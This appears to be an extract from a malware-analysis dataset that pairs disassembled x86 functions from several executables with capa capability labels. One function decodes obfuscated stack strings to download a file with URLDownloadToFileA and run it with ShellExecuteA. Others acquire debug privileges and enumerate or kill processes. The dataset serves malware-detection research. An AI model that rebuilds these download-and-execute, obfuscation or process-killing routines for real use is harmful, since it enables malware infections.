joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4110d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x3c
push ebx
lea eax, [esp + 0x10]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov bl, 0x6c
push eax
mov byte [esp + 0x18], 0x53
mov byte [esp + 0x19], 0x68
mov byte [esp + 0x1a], 0x65
mov byte [esp + 0x1b], bl
mov byte [esp + 0x1c], bl
mov byte [esp + 0x1d], 0x33
mov byte [esp + 0x1e], 0x32
mov byte [esp + 0x1f], 0x2e
mov byte [esp + 0x20], 0x64
mov byte [esp + 0x21], bl
mov byte [esp + 0x22], bl
mov byte [esp + 0x23], 0
call esi
lea ecx, [esp + 8]
mov dword [0x432cac], eax
push ecx
mov byte [esp + 0xc], 0x75
mov byte [esp + 0xd], 0x72
mov byte [esp + 0xe], bl
mov byte [esp + 0xf], 0x6d
mov byte [esp + 0x10], 0x6f
mov byte [esp + 0x11], 0x6e
mov byte [esp + 0x12], 0x2e
mov byte [esp + 0x13], 0x64
mov byte [esp + 0x14], bl
mov byte [esp + 0x15], bl
mov byte [esp + 0x16], 0
call esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x432db4], eax
mov eax, dword [0x432cac]
lea edx, [esp + 0x20]
push edx
push eax
mov byte [esp + 0x28], 0x53
mov byte [esp + 0x29], 0x68
mov byte [esp + 0x2a], 0x65
mov byte [esp + 0x2b], bl
mov byte [esp + 0x2c], bl
mov byte [esp + 0x2d], 0x45
mov byte [esp + 0x2e], 0x78
mov byte [esp + 0x2f], 0x65
mov byte [esp + 0x30], 0x63
mov byte [esp + 0x31], 0x75
mov byte [esp + 0x32], 0x74
mov byte [esp + 0x33], 0x65
mov byte [esp + 0x34], 0x41
mov byte [esp + 0x35], 0
call esi
mov edx, dword [0x432db4]
lea ecx, [esp + 0x30]
push ecx
push edx
mov dword [0x432404], eax
mov byte [esp + 0x38], 0x55
mov byte [esp + 0x39], 0x52
mov byte [esp + 0x3a], 0x4c
mov byte [esp + 0x3b], 0x44
mov byte [esp + 0x3c], 0x6f
mov byte [esp + 0x3d], 0x77
mov byte [esp + 0x3e], 0x6e
mov byte [esp + 0x3f], bl
mov byte [esp + 0x40], 0x6f
mov byte [esp + 0x41], 0x61
mov byte [esp + 0x42], 0x64
mov byte [esp + 0x43], 0x54
mov byte [esp + 0x44], 0x6f
mov byte [esp + 0x45], 0x46
mov byte [esp + 0x46], 0x69
mov byte [esp + 0x47], bl
mov byte [esp + 0x48], 0x65
mov byte [esp + 0x49], 0x41
mov byte [esp + 0x4a], 0
call esi
mov dword [0x432eb8], eax
mov esi, dword [esp + 0x4c]
mov ecx, dword [esp + 0x48]
push 0
push 0
push esi
push ecx
push 0
call eax
push 5
push 0
push 0
push esi
push str.open
push 0
call dword [0x432404]
pop esi
pop ebx
add esp, 0x3c
ret
Function at 0x412a20
Capabilities:
Acquire debug privileges
Enumerate processes

Disassembly:
sub esp, 0x238
push esi
push edi
xor esi, esi
mov ecx, 0x49
xor eax, eax
lea edi, [esp + 0x18]
mov dword [esp + 0x14], esi
mov byte [esp + 0x13c], al
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x13d]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 1
push str.SeDebugPrivilege
mov dword [esp + 0x10], esi
stosb byte es:[edi], al
call fcn.00412e60
add esp, 8
push esi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
mov dword [esp + 0xc], edi
jne 0x412a84
pop edi
xor eax, eax
pop esi
add esp, 0x238
ret
push ebx
push ebp
push 0x400
push 0x40
mov dword [esp + 0x24], 0x128
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebp, eax
mov ebx, 1
push ebx
mov byte [ebp], 0x81
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x1c]
push eax
push edi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x412bda
mov ecx, dword [esp + 0x24]
push ecx
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
mov eax, dword [esp + 0x24]
test eax, eax
je 0x412bc7
cmp eax, 4
je 0x412bc7
cmp eax, 8
je 0x412bc7
lea edx, [esp + 0x18]
lea eax, [esp + 0x10]
push edx
push 4
push eax
push esi
call fcn.00424ec1
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x144]
push 0x104
push ecx
push edx
push esi
call fcn.00424eaf
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x40]
push eax
call edi
lea ecx, [esp + 0x144]
mov esi, eax
push ecx
call edi
lea esi, [esi + eax + 6]
push ebp
add esi, ebx
call dword [sym.imp.KERNEL32.dll_LocalSize]
cmp eax, esi
jae 0x412b52
push 0x42
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov ebp, eax
mov edx, dword [esp + 0x24]
lea eax, [esp + 0x40]
mov dword [ebx + ebp], edx
push eax
add ebx, 4
call edi
mov ecx, eax
lea esi, [esp + 0x40]
inc ecx
lea edi, [ebx + ebp]
mov edx, ecx
lea eax, [esp + 0x40]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
call esi
lea ecx, [esp + 0x144]
lea ebx, [ebx + eax + 1]
push ecx
call esi
mov ecx, eax
lea esi, [esp + 0x144]
inc ecx
lea edi, [ebx + ebp]
mov edx, ecx
lea eax, [esp + 0x144]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, dword [esp + 0x14]
lea ebx, [ebx + eax + 1]
lea ecx, [esp + 0x1c]
push ecx
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x412ac0
push 0x42
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
push 0
push str.SeDebugPrivilege
mov esi, eax
call fcn.00412e60
add esp, 8
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebp
pop ebx
mov eax, esi
pop edi
pop esi
add esp, 0x238
ret
Function at 0x412de0
Capabilities:
Acquire debug privileges
Terminate process

Disassembly:
push ecx
push ebx
push esi
push edi
mov edi, ecx
push 1
push str.SeDebugPrivilege
mov dword [esp + 0x14], edi
call fcn.00412e60
mov ebx, dword [esp + 0x20]
add esp, 8
xor esi, esi
test ebx, ebx
jbe 0x412e37
push ebp
mov ebp, dword [esp + 0x18]
mov eax, dword [esi + ebp]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esi, 4
cmp esi, ebx
jb 0x412e08
mov edi, dword [esp + 0x10]
pop ebp
push 0
push str.SeDebugPrivilege
call fcn.00412e60
add esp, 8
call fcn.00412dd0
mov ecx, edi
call fcn.00412c10
mov ecx, edi
call fcn.00412c40
pop edi
pop esi
pop ebx
pop ecx
ret 8

Function at 0x4134b0
Capabilities:
Enumerate processes

Disassembly:
push ebx
push ebp
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0x128
mov ebx, eax
call fcn.0041ab6e
add esp, 4
mov esi, eax
push esi
push ebx
mov dword [esi], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x41351e
mov ebp, dword [esp + 0x14]
lea edi, [esi + 0x24]
push ebp
push edi
call fcn.00424070
add esp, 8
test eax, eax
jne 0x4134fc
mov eax, dword [esi + 8]
pop edi
pop esi
pop ebp
pop ebx
ret
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x41351e
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x4134f4
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x413507
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret

Function at 0x413530
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
mov dl, byte [esp + 0x2c]
push esi
push 0
push 0
push 0
push 0
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
mov byte [esp + 0x1c], dl
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x2c]
lea edx, [esp + 4]
push eax
mov eax, dword [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x20]
push edx
push 0x413480
push eax
push ecx
call fcn.0041c61e
mov edx, dword [esp + 0x28]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x413790
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push edi
mov ecx, 0x27
xor eax, eax
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 8], 0x9c
push eax
call esi
test eax, eax
jne 0x4137da
lea ecx, [esp + 8]
mov dword [esp + 8], 0x94
push ecx
call esi
test eax, eax
jne 0x4137da
pop edi
pop esi
add esp, 0x9c
ret
cmp dword [esp + 0xc], 5
jne 0x4137f7
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x4137f7
call fcn.00413610
pop edi
pop esi
add esp, 0x9c
ret
call fcn.004135b0
pop edi
pop esi
add esp, 0x9c
ret
Function at 0x4139f0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x414
push ebx
push ebp
push esi
xor ebp, ebp
push edi
push ebp
push ebp
push ebp
mov esi, 1
push ebp
push str.Mozilla_4.0__compatible_
mov dword [esp + 0x24], ebp
mov dword [esp + 0x30], ebp
mov dword [esp + 0x28], esi
call dword [0x4312c8]
mov edi, eax
cmp edi, ebp
mov dword [esp + 0x20], edi
jne 0x413a33
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x414
ret
mov eax, dword [esp + 0x428]
push ebp
push 0x80000000
push ebp
push ebp
push eax
push edi
call dword [0x4312c4]
mov ebx, eax
cmp ebx, ebp
jne 0x413a5d
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x414
ret
mov ecx, dword [esp + 0x42c]
push ebp
push ebp
push 2
push ebp
push ebp
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x18], eax
je 0x413aef
mov ebp, dword [0x4312c0]
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x24]
lea edx, [esp + 0x10]
rep stosd dword es:[edi], eax
push edx
lea eax, [esp + 0x28]
push 0x400
push eax
push ebx
call ebp
test esi, esi
je 0x413ab1
cmp word [esp + 0x24], 0x5a4d
jne 0x413ad8
mov edx, dword [esp + 0x10]
xor esi, esi
lea ecx, [esp + 0x1c]
push esi
push ecx
mov ecx, dword [esp + 0x20]
lea eax, [esp + 0x2c]
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x413ae0
jmp 0x413a85
mov dword [esp + 0x14], 0
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0x20]
mov esi, dword [0x4312bc]
push ebx
call esi
push edi
call esi
mov ecx, dword [esp + 0x14]
xor eax, eax
pop edi
pop esi
test ecx, ecx
pop ebp
pop ebx
setne al
add esp, 0x414
ret
Function at 0xb4d1b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.00b4d140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.00b4d140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.00b4d140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.00b4d140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0xb4dbfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0xb4dc50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0xb5f87c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0xb4dc43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0xb4dc52
xor eax, eax
pop esi
leave
ret 4
Function at 0x403720
Capabilities:
Delete file
Enumerate gui resources

Disassembly:
mov eax, dword [0x1ace01c]
mov ecx, dword [0x1aca588]
sub esp, 0xc2c
push ebx
push ebp
shr eax, 3
push esi
push edi
test eax, eax
jbe 0x40382d
mov edi, dword [sym.imp.KERNEL32.dll_SetConsoleMode]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteProfileSectionW]
mov ebp, dword [sym.imp.KERNEL32.dll_SearchPathA]
mov esi, dword [sym.imp.KERNEL32.dll_GetCommState]
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], eax
cmp dword [0x1ace01c], 0x959
jne 0x403813
push 0
push 0
call edi
push 0
push 0
call ebx
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x43c]
push ecx
push 0
push 0
push 0
push 0
call ebp
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoExW]
lea edx, [esp + 0x1c]
push edx
push 0
call esi
push 0
push 0
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
push 0
lea ecx, [esp + 0x83c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
push 0
push 0
call esi
push 0
push 0x402e08
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
push 0x402e28
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventA]
mov edx, dword [esp + 0x10]
push edx
call fcn.00403580
add dword [esp + 0x10], 8
sub dword [esp + 0x14], 1
jne 0x403760
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc2c
ret
Function at 0x40743a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x436248]
jne 0x407444
repz ret
jmp fcn.0040cbc8

Function at 0x40d6bf
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00409bd5
and dword [ebp - 4], 0
cmp dword [0x43c018], 0
mov ebx, eax
jne 0x40d770
push 0x4024dc
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40d821
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4024d0
push edi
call esi
test eax, eax
je 0x40d821
push eax
call fcn.00409b63
mov dword [esp], 0x4024c0
push edi
mov dword [0x43c018], eax
call esi
push eax
call fcn.00409b63
mov dword [esp], 0x4024ac
push edi
mov dword [0x43c01c], eax
call esi
push eax
call fcn.00409b63
mov dword [esp], 0x402490
push edi
mov dword [0x43c020], eax
call esi
push eax
call fcn.00409b63
pop ecx
mov dword [0x43c028], eax
test eax, eax
je 0x40d770
push 0x402478
push edi
call esi
push eax
call fcn.00409b63
pop ecx
mov dword [0x43c024], eax
mov eax, dword [0x43c024]
cmp eax, ebx
je 0x40d7c8
cmp dword [0x43c028], ebx
je 0x40d7c8
push eax
call fcn.00409bde
push dword [0x43c028]
mov esi, eax
call fcn.00409bde
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40d7c8
test edi, edi
je 0x40d7c8
call esi
test eax, eax
je 0x40d7bf
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40d7bf
test byte [ebp - 0xc], 1
jne 0x40d7c8
or dword [ebp + 0x10], 0x200000
jmp 0x40d801
mov eax, dword [0x43c01c]
cmp eax, ebx
je 0x40d801
push eax
call fcn.00409bde
pop ecx
test eax, eax
je 0x40d801
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40d801
mov eax, dword [0x43c020]
cmp eax, ebx
je 0x40d801
push eax
call fcn.00409bde
pop ecx
test eax, eax
je 0x40d801
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x43c018]
call fcn.00409bde
pop ecx
test eax, eax
je 0x40d821
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40d823
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x8003b3f
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov dword [0x80043b4], 0x30
mov dword [0x80043bc], 0x8003351
mov dword [0x80043b8], 2
mov dword [0x80043c0], 0
mov dword [0x80043c4], 0
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
jmp 0x8003b82
mov dword [0x80043c8], eax
mov dword [0x80043dc], 0x80041e0
mov dword [0x80043d4], 0xf
mov dword [0x8004102], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x80043cc], eax
mov dword [0x80043e0], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x800410a], ebp
mov dword [0x80043d0], eax
push 0x80043b4
call dword [sym.imp.user32.dll_RegisterClassExA]
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x8004434], eax
push 0
push dword [0x8004102]
push 0
push 0
push 0x1ef
push 0x21c
push 0xffffe688
push 0xfffff524
push 0xcf0000
push str.uno_momento
push str.verba
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x800442c], eax
push 1
push dword [0x800442c]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x800442c]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x8003c40
xor edi, edi
lea ebx, [0x80043e4]
jmp 0x8003c58
push ebx
call dword [sym.imp.user32.dll_TranslateMessage]
push ebx
call dword [sym.imp.user32.dll_DispatchMessageA]
push edi
push edi
push edi
push ebx
call dword [sym.imp.user32.dll_GetMessageA]
test al, al
jne 0x8003c4a
jmp 0x8003c6c
mov eax, dword [0x80043ec]
call fcn.08002ae4
ret
Function at 0x40245f
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x435980]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, edx
mov esi, ecx
test edi, edi
jne 0x402486
mov eax, 0x80070057
jmp 0x402524
push ebx
mov ecx, edi
call fcn.00401ba1
xor eax, eax
xor ebx, ebx
push 0x206
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push ebx
push eax
call fcn.00416e80
add esp, 0xc
lea eax, [ebp - 0x20c]
push eax
push ebx
push ebx
push esi
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov ebx, eax
test ebx, ebx
jns 0x402513
and esi, 0xff
cmp esi, 0x26
jne 0x4024d7
mov edx, str.ProgramFiles
jmp 0x4024e1
cmp esi, 0x1c
jne 0x402502
mov edx, str.LocalAppData
lea ecx, [ebp - 0x210]
call fcn.00402781
push eax
mov ecx, edi
call fcn.00401b2a
mov ecx, dword [ebp - 0x210]
lea ecx, [ecx - 0x10]
call fcn.00401df0
mov eax, dword [edi]
cmp dword [eax - 0xc], 0
je 0x40250f
xor eax, eax
inc eax
jmp 0x402523
mov eax, ebx
jmp 0x402523
lea eax, [ebp - 0x20c]
mov ecx, edi
push eax
call fcn.00404d7b
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0041a954
mov esp, ebp
pop ebp
ret

Function at 0x4031c4
Capabilities:
Compare security identifiers

Disassembly:
push ebx
push esi
lea ebx, [ecx + 4]
push edi
mov edi, edx
test ebx, ebx
je 0x4031fb
lea esi, [edi + 4]
test esi, esi
je 0x4031fb
call fcn.004042dd
test al, al
je 0x4031fb
mov ecx, edi
call fcn.004042dd
test al, al
je 0x4031fb
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_EqualSid]
neg eax
sbb eax, eax
neg eax
jmp 0x4031fd
xor al, al
pop edi
pop esi
pop ebx
ret

Function at 0x404b83
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
mov edi, edx
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x404bdb
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x404bcd
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, dword [ebp + 8]
lea ecx, [esi + eax]
and edx, 0xf
jbe 0x404bc9
cmp esi, ecx
jae 0x404bcd
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
dec edx
jne 0x404bb9
cmp esi, ecx
jb 0x404bd1
xor eax, eax
jmp 0x404bda
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x405401
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
lea eax, [ebp - 4]
mov ebx, ecx
push eax
call fcn.00406049
mov esi, dword [ebp - 4]
xor eax, eax
mov edi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
cmp dword [esi - 0xc], eax
je 0x4054ef
push esi
push 1
push str.EnableLogging
push str.LoggingSettings
call edi
push esi
push 1
test eax, eax
push str.ShowTime
setne al
push str.LoggingSettings
mov byte [ebx + 0x7c], al
call edi
push esi
push 0
test eax, eax
push str.LogToFile
setne al
push str.LoggingSettings
mov byte [ebx + 0x7e], al
call edi
push esi
push 0
test eax, eax
push str.LogToOutputDebug
setne al
push str.LoggingSettings
mov byte [ebx + 0x7f], al
call edi
push esi
push 1
test eax, eax
push str.AppendToFile
setne al
push str.LoggingSettings
mov byte [ebx + 0x84], al
call edi
test eax, eax
lea edi, [ebx + 0x80]
mov edx, 0x104
setne al
xor ecx, ecx
mov byte [ebx + 0x85], al
inc ecx
mov eax, dword [edi]
sub ecx, dword [eax - 4]
mov eax, dword [eax - 8]
sub eax, edx
or ecx, eax
jge 0x4054cb
push edx
mov ecx, edi
call fcn.00401c83
mov edx, 0x104
push esi
push edx
push dword [edi]
push str.GoogleUpdate.log
push str.LogFilePath
push str.LoggingSettings
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
push 0xffffffffffffffff
mov ecx, edi
call fcn.00404d2c
jmp 0x405512
lea ecx, [ebx + 0x80]
mov byte [ebx + 0x7c], 1
push str.GoogleUpdate.log
mov word [ebx + 0x7e], 1
mov word [ebx + 0x84], 0x100
call fcn.00404d7b
cmp byte [ebx + 0x7d], 0
je 0x40551c
mov byte [ebx + 0x7e], 1
xor eax, eax
mov byte [ebx], 1
mov dword [ebx + 4], 7
mov dword [ebp - 4], eax
mov edx, dword [eax + 0x4364e0]
mov ecx, dword [eax + 0x4364e4]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], edx
test edx, edx
je 0x40558a
cmp ecx, 0xa
ja 0x40558a
lea eax, [ebp - 8]
mov ecx, ebx
push eax
call fcn.00406049
mov edi, dword [ebp - 8]
cmp dword [edi - 0xc], 0
je 0x40556d
push edi
push 1
push dword [ebp - 0xc]
push str.LoggingLevel
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
jmp 0x405570
xor eax, eax
inc eax
mov edx, dword [ebp - 0x10]
test eax, eax
setne cl
mov byte [ebx + edx*8], cl
lea ecx, [edi - 0x10]
mov dword [ebx + edx*8 + 4], eax
call fcn.00401df0
mov eax, dword [ebp - 4]
add eax, 8
mov dword [ebp - 4], eax
cmp eax, 0x50
jb 0x40552b
call fcn.00407c01
lea ecx, [esi - 0x10]
mov dword [ebx + 0x88], eax
mov dword [ebx + 0x8c], edx
call fcn.00401df0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret